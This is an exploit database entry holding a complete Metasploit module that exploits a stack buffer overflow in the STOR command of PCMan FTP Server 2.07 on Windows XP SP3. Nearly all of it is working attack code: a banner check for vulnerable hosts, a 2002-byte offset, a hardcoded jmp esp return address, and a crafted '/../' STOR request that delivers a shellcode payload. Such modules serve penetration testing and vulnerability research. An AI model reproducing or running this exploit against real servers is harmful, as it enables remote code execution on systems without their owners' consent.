PCMAN FTP 2.07 STOR Command - Stack Overflow Exploit (MSF)



EKU-ID: 3499 CVE: OSVDB-ID:
Author: Rick Flores Published: 2013-09-18 Verified: Verified
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require 'msf/core'
   
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
   
    include Msf::Exploit::Remote::Ftp
       
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'PCMAN FTP Server STOR Command Stack Overflow',
            'Description'    => %q{
                        This module exploits a buffer overflow vulnerability
                        found in the STOR command of the PCMAN FTP v2.07 Server
                        when the "/../" parameters are also sent to the server.
            },
            'Author'         => [
                        'Christian (Polunchis) Ramirez',    # Initial Discovery
                        'Rick (nanotechz9l) Flores',        # Metasploit Module                             
                    ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/27703/' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'         => 1000,
                    'BadChars'      => "\x00\xff\x0a\x0d\x20\x40",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP3', 
                        { 
                            'Ret' => 0x7C91FCD8, # jmp esp from kernel32.dll
                            'Offset' => 2002
                        } 
                    ],
                ],
            'DisclosureDate' => 'Jul 17 2011',
            'DefaultTarget' => 0))
    end
       
    def check
    connect
    disconnect
    if (banner =~ /220 PCMan's FTP Server 2.0/)
        return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
    end
   
    def exploit
        connect_login
        print_status("Trying victim #{target.name}...")     
        sploit = "\x41" * 2002 + [target.ret].pack('V') + make_nops(4) + "\x83\xc4\x9c" + payload.encoded
        sploit << make_nops(4)
        sploit << payload.encoded
        send_cmd( ['STOR', '/../' + sploit], false )
        handler
        disconnect
    end
end